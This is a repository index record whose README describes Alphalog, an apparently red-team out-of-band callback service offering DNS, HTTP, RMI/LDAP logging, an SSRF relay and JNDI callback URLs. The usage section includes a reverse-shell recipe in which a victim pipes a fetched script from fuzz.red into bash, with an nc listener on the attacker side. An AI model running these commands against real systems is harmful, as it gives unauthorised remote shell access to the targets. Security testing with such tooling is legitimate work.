{"id":13841923,"url":"https://github.com/AlphabugX/Alphalog","last_synced_at":"2025-07-11T13:33:06.452Z","repository":{"id":37695367,"uuid":"438257919","full_name":"AlphabugX/Alphalog","owner":"AlphabugX","description":"DNSLOG、httplog、rmilog、ldaplog、jndi 等都支持,完全匿名 产品(fuzz.red)，Alphalog与传统DNSLog不同，更快、更安全。","archived":false,"fork":false,"pushed_at":"2023-04-07T05:29:54.000Z","size":218,"stargazers_count":406,"open_issues_count":4,"forks_count":50,"subscribers_count":6,"default_branch":"main","last_synced_at":"2024-08-05T17:29:44.442Z","etag":null,"topics":["alphalog","dnslog","httplog","ldap","log","tpclog"],"latest_commit_sha":null,"homepage":"","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"agpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/AlphabugX.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null}},"created_at":"2021-12-14T13:11:51.000Z","updated_at":"2024-08-03T02:31:59.000Z","dependencies_parsed_at":"2024-02-03T03:59:21.954Z","dependency_job_id":"2cb9c32a-8f29-4db0-944d-d8d62567b90f","html_url":"https://github.com/AlphabugX/Alphalog","commit_stats":null,"previous_names":[],"tags_count":1,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AlphabugX%2FAlphalog","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AlphabugX%2FAlphalog/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AlphabugX%2FAlphalog/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/AlphabugX%2FAlphalog/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/AlphabugX","download_url":"https://codeload.github.com/AlphabugX/Alphalog/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":225729754,"owners_count":17515159,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["alphalog","dnslog","httplog","ldap","log","tpclog"],"created_at":"2024-08-04T17:01:24.185Z","updated_at":"2024-11-21T12:30:38.147Z","avatar_url":"https://github.com/AlphabugX.png","language":"Go","funding_links":[],"categories":["Go"],"sub_categories":[],"readme":"\n# Alphalog\n\nDNSLog、httplog、rmilog、ldaplog、jndi 等都支持,完全匿名 ，Alphalog与传统DNSLog不同，更快、更安全。\n\n# patch 内容\n\nupdate了前端展示，增加了DNS外带功能。支持极端条件下命令执行结果通过dns外带 \u003e\u003e\u003e [demo](https://www.callback.red/)\n\n\u003cimg width=\"1955\" alt=\"image\" src=\"https://user-images.githubusercontent.com/13174906/228754119-0c61631e-d067-44e7-bafb-d6410989125d.png\"\u003e\n\n![image](https://user-images.githubusercontent.com/13174906/228754642-7da361fc-c674-4ea7-8b71-bdb626d97573.png)\n\n\n```bash\n  $$$$$$\\  $$\\           $$\\                 $$\\                          \n $$  __$$\\ $$ |          $$ |                $$ |                         \n $$ /  $$ |$$ | $$$$$$\\  $$$$$$$\\   $$$$$$\\  $$ |      $$$$$$\\   $$$$$$\\  \n $$$$$$$$ |$$ |$$  __$$\\ $$  __$$\\  \\____$$\\ $$ |     $$  __$$\\ $$  __$$\\ \n $$  __$$ |$$ |$$ /  $$ |$$ |  $$ | $$$$$$$ |$$ |     $$ /  $$ |$$ /  $$ |\n $$ |  $$ |$$ |$$ |  $$ |$$ |  $$ |$$  __$$ |$$ |     $$ |  $$ |$$ |  $$ |\n $$ |  $$ |$$ |$$$$$$$  |$$ |  $$ |\\$$$$$$$ |$$$$$$$$\\\\$$$$$$  |\\$$$$$$$ |\n \\__|  \\__|\\__|$$  ____/ \\__|  \\__| \\_______|\\________|\\______/  \\____$$ |\n               $$ |                                             $$\\   $$ |\n               $$ |                 By:Alphabug                 \\$$$$$$  |\n               \\__|                 Version:0.2022.01.16.01      \\______/\n```\n\n# Welcome to alphalog #\n\n![image](https://user-images.githubusercontent.com/27001865/150348452-38595c7d-8f16-4564-a1c7-9a02ed9b57a9.png)\n\n## Install\n\n1. 系统环境\n- 任意平台\n- Redis数据库\n\n2. 创建config.yaml文件\n内容如下\n```\ndomain: alphabug.cn\nIP_DNS: VPS地址\nIP_JNDI: VPS地址\ndatabase: redis:Redis数据库地址:端口:密码\nPORT_HTTP: HTTPLOG端口\nPORT_JNDI: RMI/LDAP端口\n```\n例如\n```\ndomain: alphabug.cn\nIP_DNS: 192.168.1.7\nIP_JNDI: 192.168.1.7\ndatabase: redis:192.168.1.3:6379:Alphabug\nPORT_HTTP: 80\nPORT_JNDI: 5\n```\n\n3. Run\n```\nE:\\Code\\GolandProjects\\Alphalog\\output\u003e Alphalog_windows_amd64.exe\n\n  $$$$$$\\  $$\\           $$\\                 $$\\\n $$  __$$\\ $$ |          $$ |                $$ |\n $$ /  $$ |$$ | $$$$$$\\  $$$$$$$\\   $$$$$$\\  $$ |      $$$$$$\\   $$$$$$\\\n $$$$$$$$ |$$ |$$  __$$\\ $$  __$$\\  \\____$$\\ $$ |     $$  __$$\\ $$  __$$\\\n $$  __$$ |$$ |$$ /  $$ |$$ |  $$ | $$$$$$$ |$$ |     $$ /  $$ |$$ /  $$ |\n $$ |  $$ |$$ |$$ |  $$ |$$ |  $$ |$$  __$$ |$$ |     $$ |  $$ |$$ |  $$ |\n $$ |  $$ |$$ |$$$$$$$  |$$ |  $$ |\\$$$$$$$ |$$$$$$$$\\\\$$$$$$  |\\$$$$$$$ |\n \\__|  \\__|\\__|$$  ____/ \\__|  \\__| \\_______|\\________|\\______/  \\____$$ |\n               $$ |                                             $$\\   $$ |\n               $$ |                 By:Alphabug                 \\$$$$$$  |\n               \\__|                 Version:1.0.0.Releases       \\______/\n2022/04/30 20:40:09 [Config] Redis Initialization succeeded\n2022/04/30 20:40:09 [DNS] Domain: alphabug.cn\n2022/04/30 20:40:09 [Redis] Start redis database init\n2022/04/30 20:40:09 [DNS] Initialization succeeded\n2022/04/30 20:40:09 [JNDI] Start fake reverse server\n\n```\n\n\n## Usage\n\n1. Get token(`key`) and randomly named subdomain (Expires: 1 Day)\n\n\t```bash\n\t$ curl fuzz.red/get\n\t{\"key\":\"63d755be-9683-40a9-91fb-b85890155872\",\"subdomain\":\"oz4e.fuzz.red\"}\n\t```\n\n2. Get logs\n\n\t```bash\n\t$ curl fuzz.red -X POST -d \"key=63d755be-9683-40a9-91fb-b85890155872\"\n\t{\"code\":200,\"data\":[]}\n\t```\n\n### DNSLOG\n\n```bash\nping -c 1 oz4e.fuzz.red\n```\n\n```bash\n$ curl fuzz.red -X POST -d \"key=63d755be-9683-40a9-91fb-b85890155872\"\n{\"code\":200,\"data\":[\"{\\\"ip\\\":\\\"192.168.1.1\\\",\\\"reqbody\\\":[\\\"\\\"],\\\"subdomain\\\":\\\"oz4e.fuzz.red.\\\",\\\"time\\\":\\\"2022-01-14 17:01:17 +0800 CST\\\",\\\"type\\\":\\\"dns\\\"}\"]} \n```\n\n### HTTPLOG\n\n```bash\ncurl oz4e.fuzz.red -d \"abc\"\n```\n\n```bash\n$ curl fuzz.red -X POST -d \"key=63d755be-9683-40a9-91fb-b85890155872\" | python -m json.tool\n{\n\"code\": 200,\n\"data\": [\n\t{...}]\n}\n```\n\n### SSRF\n\n```bash\n$ curl -L fuzz.red/ssrf/www.baidu.com/\n\u003c!DOCTYPE html\u003e...(www.baidu.com page)...\u003c/html\u003e\n```\n\n\n### 反弹shell\n\n```bash\n$ curl fuzz.red/sh4ll/ip:port\n```\n\nVictim\n\n```bash\n$ curl fuzz.red/sh4ll/1.2.3.4:1234 | bash\n# or \n$ curl fuzz.red/sh4ll/1.2.3.4:1234 | sh\n```\n\nVPS\n\n```bash\n$ nc -lvvp 1234\nlistening on [any] 1234 ...\nconnect to [1.2.3.4] from fbi.gov [127.0.0.1] 46958\n```\n\n### RMI or LDAP \nPATH规则为“sub/text”,sub为子域名的主机头，text为自定义特征\n例如：子域名=oz4e.fuzz.red，text=Alphabug\n=\u003e oz4e/Alphabug\n\n```bash\nrmi://jndi.fuzz.red:5/oz4e/Alphabug\n# or\nldap://jndi.fuzz.red:5/oz4e/Alphabug\n```\n获取log\n```bash\n$ curl fuzz.red -X POST -d \"key=63d755be-9683-40a9-91fb-b85890155872\" | python -m json.tool\n\n{\n\t\"code\": 200,\n\t\"data\": [\n\t\t{\n\t\t\t\"ip\": \"1.2.3.4:41584\",\n\t\t\t\"reqbody\": \"Alphabug\",\n\t\t\t\"subdomain\": \"oz4e.fuzz.red.\",\n\t\t\t\"time\": \"2022-01-16 03:40:03 -0500 EST\",\n\t\t\t\"type\": \"ldap\"\n\t\t}\n\t]\n}\n```\n## 作者有话说\n\n###  项目名称为：Alphalog，作者Alphabug。\n采用Go编写开发 DNS服务、Http服务等，后续等待开源。\n\n项目域名为匿名域名，请求接口没有做任何的记录。所有dnslog存活时间为1天，大家可以亲测。\n\n（请勿CC/DDos，服务器特别贵，可能没办法退钱）\n       \n## 项目日志：\n- 2021年12月14日 17:30:35 第一个版本完成\n- 2021年12月14日 20:14:57 特别感谢团队成员hexman、Longlone（WaY）测试提出的各类bug。\n- 2021年12月14日 20:26:33 上架公测，我是Alphabug欢迎大家提需求，目的就是让dnslog扩展性更高，如果您有建议请邮箱联系我：alphabug@redteam.site\n- 2021年12月14日 21:17:15 页面不再更新，Issue 上github吧。项目地址 https://github.com/AlphabugX/Alphalog\n- 2022年01月15日 17:07:41 添加httplog功能，升级数据格式。\n- 2022年01月15日 17:52:03 添加SSRF辅助功能。\n- 2022年01月15日 18:52:42 添加反弹shell功能,支持bash、sh、nc、python、awk、telnet弹shell方法。\n- 2022年01月16日 16:45:12 添加RMI、LDAP log功能，引用https://github.com/EmYiQing/JNDIScan核心模块，实现log查询。\n- 2022年4月30日 20:26:29 正式开源，进行公测，任何问题，请及时反馈到Issues，在此感谢所有支持Alphalog项目的朋友，由衷的感谢，另外新增短链接功能，优化API。(相关API文档后续公布，欢迎提稿)\n\n## curl 效果日志\n![image](https://user-images.githubusercontent.com/27001865/149620709-e02d8876-8320-445c-8cf3-151f653b04b3.png)\n\n## www.fuzz.red 效果\n![www fuzz red_(iPhone X)](https://user-images.githubusercontent.com/27001865/149708515-c1dcf244-babe-4948-9418-3760c697010c.png)\n\n![image](https://user-images.githubusercontent.com/27001865/149654871-c93be50f-5e42-4c6a-b1d2-447870285cb5.png)\n\n\n## Stargazers over time\n\n[![Stargazers over time](https://starchart.cc/AlphabugX/Alphalog.svg)](https://starchart.cc/AlphabugX/Alphalog.svg)\n \n\n## 实时反馈群 \n\n### QQ反馈群\n\n\nQQ群：727871590\n\n![$XVJBS5Q 5QNTDURQ(AKGU6](https://user-images.githubusercontent.com/27001865/159666679-102374da-b9f9-4324-8485-89f8bbbd7e2b.jpg)\n\n2022.04.11\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FAlphabugX%2FAlphalog","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FAlphabugX%2FAlphalog","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FAlphabugX%2FAlphalog/lists"}